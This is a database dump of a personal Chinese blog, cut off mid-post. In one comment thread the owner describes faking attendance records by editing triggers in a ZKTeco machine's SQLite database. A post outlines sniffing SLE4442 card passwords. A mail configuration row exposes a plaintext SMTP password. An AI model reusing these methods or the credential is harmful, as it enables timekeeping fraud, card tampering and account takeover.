INSERT INTO `tb_comment` VALUES (401, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '测试留言123', '2023-12-27 02:07:20', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', 0, 0, 1, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (402, 19, 397, 5, '风中CHENAI  ', '6047483@qq.com', '', '这个太高深了，像我这样技术白痴，搞不会。假如想做，有什么先决条件吗？譬如需要准备什么，还是说编辑好程序后，导进去机器就可以？请赐教', '2024-01-01 20:04:34', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 0, 0, 0, 0, 1, 0);
INSERT INTO `tb_comment` VALUES (403, 19, 396, 4, 'Doghole', 'huocaizhu@qq.com', 'http://qwq.me', '首先如果你能进后台，那一定可以备份一份`backupdata.dat`文件出来，用7z解压出来以后你就能拿到`ZKDB.db`这个文件，用类似 [LLL 的评论](https://qwq.me/n/zkteco-attendance-machine-cracking/4#comment-323) 内提到的软件，DB Browser (SQLite) 或者我自己用的 Navicat 来打开这个 ZKDB.db，在里面编辑触发器，保存触发器以后就可以自己任意插入数据来测试。\r\n\r\n需要强调的是：打卡其实就是往数据表`ATT_LOG`内插入（INSERT）数据，所以你能用这种方式来模拟打卡。你需要理解 ATT_LOG 表内各个字段的含义来模拟这个打卡过程。\r\n\r\n你可能需要搜一下 SQLite 的入门和教程，了解基本的 INSERT、UPDATE、SELECT 语句的语法来完成这件事。过程中，ChatGPT 是个不错的导师，如果你有条件可以用 ChatGPT 来辅助你理解和完成 SQLite 和触发器。\r\n\r\n因为是在你电脑上编辑的触发器，你可以随意插入数据，直到测试达到你满意的结果，那么这个触发器就能用了。\r\n\r\n注意，如果你最终在电脑上完成了触发器的测试，由于这个探索时间是漫长的，过程中原考勤机上已经有其他人的打卡记录了，这时你需要重新从考勤机导出 backupdata.dat，解压出 ZKDB.db，在新备份内导入触发器以后，把 ZKDB.db 放回 backupdata.dat 里面，再将该备份还原至考勤机。你可以翻看评论区 LLL 的做法。', '2024-01-01 20:20:42', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (404, 19, 403, 5, '风中CHENAI  ', '6047483@qq.com', '', '感谢你耐心的解答，我有时间去试试。谢谢~', '2024-01-03 19:30:02', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 0, 0, 0, 1, 0, 1);
INSERT INTO `tb_comment` VALUES (405, 19, 396, 4, 'Doghole', 'huocaizhu@qq.com', 'http://qwq.me', '不用谢。触发器虽然好用，但是备份和还原是有风险的，要多加注意。没有十足的把握不要随意做。', '2024-01-04 01:12:19', '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (406, 199, -1, 0, 'Meow', 'mason901012@composezz.com', '', '上小飛機不\r\n想找人澇磕', '2024-01-06 22:23:54', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 13; PJA110) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36', 0, 0, 0, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (407, 199, 406, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '还在饭局，晚点可好？', '2024-01-06 22:25:04', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 mailapp/6.5.0', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (408, 198, -1, 0, 'Meow', 'mason901012@composezz.com', '', '肯定沒問題的呀\r\n見鬼了你是設定郵件訂閱嗎\r\n這速度比我對象(Null)回覆我海快', '2024-01-06 22:31:14', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 13; PJA110) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36', 0, 0, 1, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (409, 199, -1, 0, 'Meow', 'mason901012@composezz.com', '', '肯定沒問題的呀\r\n見鬼了你是設定郵件訂閱嗎\r\n這速度比我對象(Null)回覆我海快\r\n發錯篇了\r\n幫我刪了', '2024-01-06 22:31:51', '127.0.0.1', 'Mozilla/5.0 (Linux; Android 13; PJA110) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36', 0, 0, 0, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (410, 198, 408, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '那是的，但是怎么会跳到这篇来了，奇怪', '2024-01-06 22:32:26', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 mailapp/6.5.0', 0, 0, 1, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (411, 199, 409, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '好       ', '2024-01-06 22:33:13', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 mailapp/6.5.0', 0, 0, 1, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (412, 199, 409, 1, 'Doghole', 'huocaizhu@gmail.com', 'https://qwq.me', '是的，加了邮件功能。我是会秒收到的，你们会有5分钟延迟，为了应对可能的删除评论或者修改评论的情况', '2024-01-06 22:35:15', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (413, 199, -1, 0, '桃子', 'chkesp@gmail.com', '', '字里行间，挺有意思🥵', '2024-01-09 13:07:39', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0', 0, 0, 0, 1, 1, 0);
INSERT INTO `tb_comment` VALUES (414, 199, 413, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '比较NSFW🥵', '2024-01-09 13:32:27', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 mailapp/6.5.0', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (415, 199, 414, 2, '桃子', 'chkesp@gmail.com', '', '不怕，我之前经常在同事之前刷推特。real nsfw', '2024-01-09 20:02:10', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (416, 199, 413, 1, 'Doghole', 'huocaizhu@gmail.com', 'http://qwq.me', '不得不羡慕起你的工作环境😤', '2024-01-09 20:03:50', '127.0.0.1', 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 mailapp/6.5.0', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (417, 199, 416, 2, '桃子', 'chkesp@gmail.com', '', '哈哈哈哈，已经是过去时了。', '2024-01-09 21:33:42', '127.0.0.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0', 0, 0, 0, 1, 1, 1);
INSERT INTO `tb_comment` VALUES (418, 1, -1, 0, 'Doghole', 'huocaizhu@gmail.com', 'https://www.smileat.me', '测试评论啊', '2024-01-16 15:51:14', '[0:0:0:0:0:0:0:1]', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36', 0, 0, 0, 1, 1, 0);

-- ----------------------------
-- Table structure for tb_config
-- ----------------------------
DROP TABLE IF EXISTS `tb_config`;
CREATE TABLE `tb_config`  (
  `config_field` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '字段名',
  `config_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '配置名',
  `config_value` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL COMMENT '配置项的值',
  `create_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0) COMMENT '创建时间',
  `update_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0) COMMENT '修改时间',
  PRIMARY KEY (`config_field`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_config
-- ----------------------------
INSERT INTO `tb_config` VALUES ('commentConfig', '评论设置', '{\"blockEmailAction\":2,\"blockEmailActionAfter\":0,\"blockEmailList\":[\"^support@newlightdigital\\\\.com\\\\.hubspot\\\\-inbox\\\\.com$\\n^ryanhartvideos@gmail\\\\.com$\\n^enauda\\\\.studio@gmail\\\\.com$\\n^ancarprir@yahoo\\\\.com$\\n^mark@markdens\\\\.com$\\n^office54792022@gmail\\\\.com$\\n^info@wealthfunders\\\\.org$\"],\"blockEmailListText\":\"^support@newlightdigital\\\\.com\\\\.hubspot\\\\-inbox\\\\.com$\\n^ryanhartvideos@gmail\\\\.com$\\n^enauda\\\\.studio@gmail\\\\.com$\\n^ancarprir@yahoo\\\\.com$\\n^mark@markdens\\\\.com$\\n^office54792022@gmail\\\\.com$\\n^info@wealthfunders\\\\.org$\",\"blockIpAction\":2,\"blockIpActionAfter\":0,\"blockIpList\":[\"\"],\"blockIpListText\":\"\",\"blockWordAction\":2,\"blockWordActionAfter\":2,\"blockWordList\":[\"\\\\[url\\n\\\\[/url\\\\]\\n土共\\n共产党\\n共党\\n共産黨\\n共黨\\n习近平\\n习大大\\n習近平\\n習大大\\nCCP\\n退[黨党]\\n(傻|啥|S)(B|逼|壁|比)\\nfuck\\n[操艹草槽肏]你[妈媽马馬吗嗎]\\nmarketing\\nfollowers\\nTel:\\nFax:\\nmerchant\\nSEO\\n快递代发\\nContact us\\ncontact us\\nUSD\\n港独\\n香港独立\\n港獨\\n香港獨立\\n佔中\\n占中\"],\"blockWordListText\":\"\\\\[url\\n\\\\[/url\\\\]\\n土共\\n共产党\\n共党\\n共産黨\\n共黨\\n习近平\\n习大大\\n習近平\\n習大大\\nCCP\\n退[黨党]\\n(傻|啥|S)(B|逼|壁|比)\\nfuck\\n[操艹草槽肏]你[妈媽马馬吗嗎]\\nmarketing\\nfollowers\\nTel:\\nFax:\\nmerchant\\nSEO\\n快递代发\\nContact us\\ncontact us\\nUSD\\n港独\\n香港独立\\n港獨\\n香港獨立\\n佔中\\n占中\",\"markdownOn\":true,\"nonChineseAction\":2,\"nonChineseActionAfter\":0,\"ruleOn\":true,\"sensitiveWordAction\":1,\"sensitiveWordActionAfter\":0,\"sensitiveWordList\":[\"javascript\"],\"sensitiveWordListText\":\"javascript\"}', '2021-11-27 12:36:33', '2023-12-06 01:27:00');
INSERT INTO `tb_config` VALUES ('mailConfig', '邮件设置', '{\"adminAddress\":\"huocaizhu@qq.com\",\"fromAddress\":\"i@qwq.me\",\"fromUser\":\"Doghole\",\"mailOn\":true,\"password\":\"Zoho3624141.\",\"sendingDelay\":5,\"smtpHost\":\"smtp.zoho.com\",\"smtpPort\":587,\"subject\":\"您在 Doghouse 的留言有新回复啦\",\"tlsEnable\":true,\"username\":\"i@qwq.me\"}', '2023-12-26 20:59:42', '2023-12-26 20:59:42');
INSERT INTO `tb_config` VALUES ('siteConfig', '基本设置', '{\"address\":\"https://qwq.me\",\"beiAnInfo\":\"\",\"commentPageSize\":5,\"copyright\":\"Doghole\",\"description\":\"In the Mood for Love\",\"gravatarUrl\":\"//gravatar.loli.net/avatar/\",\"keywords\":\"Doghouse,个人博客,博客,狗洞,二狗,日记\",\"name\":\"Doghouse\",\"popularSize\":5,\"pageSize\":3,\"recentSize\":5,\"rssOn\":true,\"tagSize\":8}', '2021-11-27 15:50:23', '2023-12-12 22:40:55');
INSERT INTO `tb_config` VALUES ('wikiConfig', 'Wiki 设置', '{\"commentPageSize\":5,\"copyright\":\"Doghouse\",\"description\":\"Doghole\'s Personal Wiki\",\"keywords\":\"Doghouse, doghouse wiki, doguwiki,维基,知识库,狗洞\",\"name\":\"DoguWiki\",\"popularSize\":6,\"pageSize\":3,\"recentCommentLevel\":3,\"recentCommentSize\":6,\"recentSize\":6,\"tagSize\":8,\"wikiMode\":true}', '2023-12-21 01:26:07', '2023-12-21 01:26:07');

-- ----------------------------
-- Table structure for tb_link
-- ----------------------------
DROP TABLE IF EXISTS `tb_link`;
CREATE TABLE `tb_link`  (
  `link_id` int(11) NOT NULL AUTO_INCREMENT COMMENT '友链表主键id',
  `link_type` tinyint(4) NOT NULL DEFAULT 0 COMMENT '友链类别 0-友链 1-推荐 2-个人网站',
  `link_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '网站名称',
  `link_url` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '网站链接',
  `link_description` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '网站描述',
  `link_rank` int(11) NOT NULL DEFAULT 0 COMMENT '用于列表排序',
  `is_deleted` tinyint(4) NOT NULL DEFAULT 0 COMMENT '是否删除 0-未删除 1-已删除',
  `create_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0) COMMENT '添加时间',
  PRIMARY KEY (`link_id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '友情链接表' ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_link
-- ----------------------------
INSERT INTO `tb_link` VALUES (1, 0, '测试1', 'xxxxxx', '这是测试', 0, 0, '2019-09-07 02:21:03');
INSERT INTO `tb_link` VALUES (2, 0, '测试2', 'xxxxx', '测试哦', 0, 0, '2019-09-02 21:24:44');
INSERT INTO `tb_link` VALUES (4, 1, '测试', '111111', '222222', 123, 0, '2019-09-03 14:47:21');

-- ----------------------------
-- Table structure for tb_meta
-- ----------------------------
DROP TABLE IF EXISTS `tb_meta`;
CREATE TABLE `tb_meta`  (
  `mid` int(11) NOT NULL AUTO_INCREMENT,
  `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL,
  `type` tinyint(4) NOT NULL DEFAULT 0,
  `parent_id` int(11) NULL DEFAULT NULL,
  `no` int(11) NOT NULL DEFAULT 0,
  `friendly_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '',
  `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '',
  PRIMARY KEY (`mid`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 25 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_meta
-- ----------------------------
INSERT INTO `tb_meta` VALUES (1, '默认分类', 0, 0, 0, 'default', '');
INSERT INTO `tb_meta` VALUES (2, '日常', 0, 1, 0, 'daily', '');
INSERT INTO `tb_meta` VALUES (3, '涂鸦', 0, 1, 0, 'doodle', '');
INSERT INTO `tb_meta` VALUES (4, '瞎搞', 0, 1, 0, 'mess', '');
INSERT INTO `tb_meta` VALUES (5, 'Shit', 1, NULL, 0, 'shit', '');
INSERT INTO `tb_meta` VALUES (6, 'Coding', 1, NULL, 0, 'coding', '');
INSERT INTO `tb_meta` VALUES (7, 'Spark', 1, NULL, 0, 'spark', '');
INSERT INTO `tb_meta` VALUES (8, 'Cracking', 1, NULL, 0, 'cracking', '');
INSERT INTO `tb_meta` VALUES (9, 'Fictional', 1, NULL, 0, 'fictional', '');
INSERT INTO `tb_meta` VALUES (10, 'Semi-fictional', 1, NULL, 0, 'semi-fictional', '');
INSERT INTO `tb_meta` VALUES (12, 'NSFW', 1, NULL, 0, 'nsfw', '');
INSERT INTO `tb_meta` VALUES (13, '操盘日记', 0, 1, 0, 'stock-daily', '');
INSERT INTO `tb_meta` VALUES (14, 'Fuck', 1, NULL, 0, 'fuck', '');
INSERT INTO `tb_meta` VALUES (15, 'Asshole', 1, NULL, 0, 'asshole', '');
INSERT INTO `tb_meta` VALUES (16, 'Tushare', 1, NULL, 0, 'tushare', '');
INSERT INTO `tb_meta` VALUES (18, '社畜', 0, 0, 0, 'corporate-slave', '老板，别玩我');
INSERT INTO `tb_meta` VALUES (19, 'Work', 1, NULL, 0, 'Work', '');
INSERT INTO `tb_meta` VALUES (20, '文档', 0, 18, 0, 'docs', '');
INSERT INTO `tb_meta` VALUES (22, '网络灰产', 0, 0, 0, 'cyber-underground-industry', '');
INSERT INTO `tb_meta` VALUES (23, '小说', 0, 20, 0, 'novel', '');
INSERT INTO `tb_meta` VALUES (24, 'Tools', 1, NULL, 0, 'Tools', '');

-- ----------------------------
-- Table structure for tb_post
-- ----------------------------
DROP TABLE IF EXISTS `tb_post`;
CREATE TABLE `tb_post`  (
  `post_id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '博客表主键id',
  `parent_id` bigint(20) NULL DEFAULT -1,
  `no` int(11) NULL DEFAULT 0,
  `level` int(10) UNSIGNED NULL DEFAULT 0,
  `searchable` tinyint(4) UNSIGNED NOT NULL DEFAULT 1,
  `post_title` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '博客标题',
  `template` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '模板，一般给独立页面用的',
  `type` tinyint(4) NOT NULL DEFAULT 0 COMMENT '文章类型：0-普通POST,1-独立页面',
  `post_page_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '博客自定义路径url',
  `post_preface` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL COMMENT '博客前言',
  `post_content` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '博客内容',
  `post_status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0-草稿 1-发布',
  `post_views` bigint(20) NOT NULL DEFAULT 0 COMMENT '阅读量',
  `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT '' COMMENT '密码',
  `enable_comment` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0-允许评论 1-不允许评论',
  `is_deleted` tinyint(4) NOT NULL DEFAULT 0 COMMENT '是否删除 0=否 1=是',
  `create_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0) COMMENT '添加时间',
  `update_time` datetime(0) NULL DEFAULT CURRENT_TIMESTAMP(0) COMMENT '修改时间',
  PRIMARY KEY (`post_id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 232 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '博客信息表' ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_post
-- ----------------------------
INSERT INTO `tb_post` VALUES (1, -1, 0, 0, 1, 'About', 'about', 1, 'about', '', '----------\n\n> Je pense, donc je suis.\n\n<link rel=\"stylesheet\" href=\"/blog/bleaching/css/chat.css\"/>\n\n<style>\n.bubble.me,.bubble.me:before {\n    background-color:var(--blue) !important;\n    color:white !important\n}\n.bubble code {\n    display:inline-block;margin:0;background-color: transparent\n}\n.bubble.you a{\n    color:inherit !important\n}\n.friend-link img{\n    width:16px;display:inline\n}\n.bubble.me a{\n    color:white !important\n}\n</style>\n\n<style>\n.personalities {\n    border:1px solid var(--curr-border-color);\n    border-radius:5px\n}\n.personality-info {\n    align-items:center;\n    flex-direction:column;\n    justify-content:center;\n    padding:10px 0 6px;\n    margin:auto;\n    line-height:1.5;\n    text-align:center;\n    background:var(--curr-border-color)\n}\n.trait-scales {\n    line-height:1;\n    padding:10px 0 15px\n}\n.trait {\n    padding:10px 20px\n}\n.trait-scales.comp .trait .bar-wrapper .bar.right-fill {\n    justify-content:flex-end\n}\n.trait-scales.comp .trait .bar-wrapper {\n    align-items:center;\n    display:flex;\n    justify-content:space-between;\n    margin-bottom:5px\n}\n.trait-scales .trait .percentage {\n    flex:0 0 60px;\n    font-size:1em\n}\n.trait-scales.comp .trait .bar-wrapper .percentage.right {\n    text-align:right\n}\n.trait-scales.comp .trait .trait-titles {\n    align-items:center;\n    display:flex;\n    justify-content:space-between\n}\n.trait-scales.comp .trait .trait-titles .title,.trait-scales.comp .trait .bar-wrapper .percentage {\n    color:#9b9faa;\n    font-size:.95em;\n    font-weight:600;\n    text-transform:uppercase\n}\n.trait-scales.comp .trait.mind .bar-wrapper .bar .filler {\n    background-color:#4298b4\n}\n.trait-scales.comp .trait.mind .trait-titles .title.active,.trait-scales.comp .trait.mind .bar-wrapper .percentage.active {\n    color:#4298b4\n}\n.trait-scales.comp .trait.energy .bar-wrapper .bar .filler {\n    background-color:#e4ae3a\n}\n.trait-scales.comp .trait.energy .trait-titles .title.active,.trait-scales.comp .trait.energy .bar-wrapper .percentage.active {\n    color:#e4ae3a\n}\n.trait-scales.comp .trait.nature .bar-wrapper .bar .filler {\n    background-color:#33a474\n}\n.trait-scales.comp .trait.nature .trait-titles .title.active,.trait-scales.comp .trait.nature .bar-wrapper .percentage.active {\n    color:#33a474\n}\n.trait-scales.comp .trait.tactics .bar-wrapper .bar .filler {\n    background-color:#88619a\n}\n.trait-scales.comp .trait.tactics .trait-titles .title.active,.trait-scales.comp .trait.tactics .bar-wrapper .percentage.active {\n    color:#88619a\n}\n.trait-scales.comp .trait.identity .bar-wrapper .bar .filler {\n    background-color:#f25e62\n}\n.trait-scales.comp .trait.identity .trait-titles .title.active,.trait-scales.comp .trait.identity .bar-wrapper .percentage.active {\n    color:#f25e62\n}\n.trait-scales.comp .trait .bar-wrapper .bar .filler {\n    height:15px\n}\n.trait-scales.comp .trait .bar-wrapper .bar {\n    height:15px;\n    margin-top:0\n}\n.trait-scales.comp .trait .bar-wrapper .bar {\n    background-color:var(--curr-border-color);\n    border-radius:10px;\n    display:flex;\n    flex-grow:1;\n    height:15px;\n    margin-top:2px;\n    overflow:hidden\n}\n</style>\n\n<div class=\"chat-container\">\n    <div class=\"top\">\n        <span>\n            From:\n            <b>\n                Doghole\n            </b>\n            (畜生一个)\n        </span>\n        <br/>\n    </div>\n    <div class=\"chat anicon\">\n        <div class=\"conversation-start\">\n            <span>\n                2021-12-01, 晚上 22:55\n            </span>\n        </div>\n        <h2 class=\"bubble me ani\">\n            介绍一下你自己？\n        </h2>\n        <div class=\"bubble you ani\">\n            A complicated piece of shit\n        </div>\n        <div class=\"bubble you ani\">\n            You can call me <code>Doghole</code> or <code>二狗</code> 🐶\n        </div>\n        <div class=\"personalities\">\n    <div class=\"personality-info\">\n        <div class=\"type\">\n            <div class=\"name\">\n                16-Personalities：<a href=\"https://www.16personalities.com/intp-personality\" class=\"link--inline\">Logician</a>\n            </div>\n            <div class=\"code\"><b>INTP-T</b></div>\n        </div>\n    </div>\n    <div class=\"trait-scales comp\">\n        <div class=\"trait mind\">\n            <div class=\"pb-wrp\">\n                <div class=\"bar-wrapper\">\n                    <div class=\"percentage\">22%\n                    </div>\n                    <div class=\"bar right-fill\">\n                        <div class=\"filler\" style=\"width: 78%;\"></div>\n                    </div>\n                    <div class=\"percentage right active\">78%\n                    </div>\n                </div>\n                <div class=\"trait-titles\">\n                    <div class=\"title left\">外向</div>\n                    <div class=\"title right active\">内向</div>\n                </div>\n            </div>\n        </div>\n        <div class=\"trait energy\">\n            <div class=\"pb-wrp\">\n                <div class=\"bar-wrapper\">\n                    <div class=\"percentage active\">84%\n                    </div>\n                    <div class=\"bar left-fill\">\n                        <div class=\"filler\" style=\"width: 84%;\"></div>\n                    </div>\n                    <div class=\"percentage right\">16%\n                    </div>\n                </div>\n                <div class=\"trait-titles\">\n                    <div class=\"title left active\">直觉</div>\n                    <div class=\"title right\">现实</div>\n                </div>\n            </div>\n        </div>\n        <div class=\"trait nature\">\n            <div class=\"pb-wrp\">\n                <div class=\"bar-wrapper\">\n                    <div class=\"percentage active\">55%\n                    </div>\n                    <div class=\"bar left-fill\">\n                        <div class=\"filler\" style=\"width: 55%;\"></div>\n                    </div>\n                    <div class=\"percentage right\">45%\n                    </div>\n                </div>\n                <div class=\"trait-titles\">\n                    <div class=\"title left active\">逻辑</div>\n                    <div class=\"title right\">感受</div>\n                </div>\n            </div>\n        </div>\n        <div class=\"trait tactics\">\n            <div class=\"pb-wrp\">\n                <div class=\"bar-wrapper\">\n                    <div class=\"percentage\">0%\n                    </div>\n                    <div class=\"bar right-fill\">\n                        <div class=\"filler\" style=\"width: 100%;\"></div>\n                    </div>\n                    <div class=\"percentage right active\">100%\n                    </div>\n                </div>\n                <div class=\"trait-titles\">\n                    <div class=\"title left\">计划</div>\n                    <div class=\"title right active\">展望</div>\n                </div>\n            </div>\n        </div>\n        <div class=\"trait identity\">\n            <div class=\"pb-wrp\">\n                <div class=\"bar-wrapper\">\n                    <div class=\"percentage\">37%\n                    </div>\n                    <div class=\"bar right-fill\">\n                        <div class=\"filler\" style=\"width: 63%;\"></div>\n                    </div>\n                    <div class=\"percentage right active\">63%\n                    </div>\n                </div>\n                <div class=\"trait-titles\">\n                    <div class=\"title left\">坚决</div>\n                    <div class=\"title right active\">谨慎</div>\n                </div>\n            </div>\n        </div>\n    </div>\n</div>\n    </div>\n</div>\n\n## 沿革\n\nSince 2015.\n[WordPress](https://wordpress.com/) -> [Z-Blog](https://www.zblogcn.com/) -> [Farbox](https://farbox.org/) -> [Typecho](https://typecho.org/) -> [Doghouse](/change-log.html)。\n\n也可以通过 [Smile at Me](http://smileat.me) 访问本站。\n\n## 联系\n\n如果您希望联系到我，可以在这里留言。这里的留言我尽量保持一天一看。如果没有及时回复，请谅解。\n\n## 友链\n\n排名按照进入友链的时间先后，从下往上排序。\n\n<table class=\"friend-link\">\n        <tr>\n            <td>\n                <a href=\"https://blog.twofei.com/\" target=\"_blank\">\n                    <b>陪她去流浪</b>\n                </a>\n            </td>\n            <td>好看，爱看</td>\n       </tr>\n        <tr>\n            <td>\n                <a href=\"https://www.lovezi.online/\" target=\"_blank\">\n                    <b>彼岸幻写</b>\n                </a>\n            </td>\n            <td>love紫，紫可以是自己，也可以是紫色。</td>\n       </tr>\n        <tr>\n            <td>\n                <a href=\"http://manafeng.com/\" target=\"_blank\">\n                    <!--<img src=\"http://manafeng.com/favicon.ico\"/>-->\n                    <b>manafeng\'s blog</b>\n                </a>\n            </td>\n            <td>manafeng - 从入门到放弃入门</td>\n       </tr>\n</table>', 0, 2621, '', 1, 0, '2021-03-28 03:13:40', '2024-01-05 18:55:45');
INSERT INTO `tb_post` VALUES (2, -1, 0, 0, 1, 'Archives', 'archives', 1, 'archives', '', '', 0, 1744, '', 1, 0, '2021-03-28 03:13:40', '2021-03-28 03:13:40');
INSERT INTO `tb_post` VALUES (3, -1, 0, 0, 1, 'SLE4442 口令破解杂记', NULL, 0, 'sle-4442', '', '![原理图](/upload/20211128_19570662.jpg \"原理图\")\n> 感谢评论区`月光`交流：方法一，上电后验证通过不用拔掉 I/O、RST 和 CLK，保持加电就行了。\n\nSLE4442卡，在学校被拿来用作取电卡。在我拥有的所有卡中，电玩城的储值卡也是SLE4442卡。这种卡算是比较老的卡，一般来说越容易破解的卡片，年代也就越久远。\n<!--more-->\n首图是按照[SLE 4442 密码破解方法](http://bbs.csdn.net/topics/190091302)一文做的，文章年代有点久，但依然管用。值得一提的是淘宝上居然有人根据这个做出了成品，卖1.6k。\n\n图上方法一原理很简单，卡上电验证通过以后一直处于开放状态，这个时候插上电脑读卡器，读错误计数，返回的2-4字节就是卡口令。但是在没有金手指电路板的情况下，实现起来较为困难。\n\n图上的方法二在没有金手指电路板的情况下还是可以实现的，具体参考[用逻辑嗅探破解接触式IC卡口令](http://bbs.pediy.com/showthread.php?t=151259)。用导线碰触卡上的触点I/O（文中叫DATA）、CLK和GND并想办法固定住，另一头引到逻辑分析仪，调整逻辑分析仪的采样时间为10s（不同机器的采样时间可能需要调整），开始采样后迅速将卡插入机器进行采样。\n\n但现在电路板制作门槛越来越低，只要有一定的电路知识，再看看软件教程，做一块普通的板子还是没问题的。下面是做出来的板子。Vpp即是SW。\n![电路板](/upload/20211128_19572963.jpg \"电路板\")\n根据 Nyquist 采样定理，采样频率应是信号频率的两倍以上才能恢复实际波形。根据 SLE4442 文档，CLK Frequency 的范围是 7kHz - 50 kHz，为保证能恢复波形，采样率应该在 100 kHz 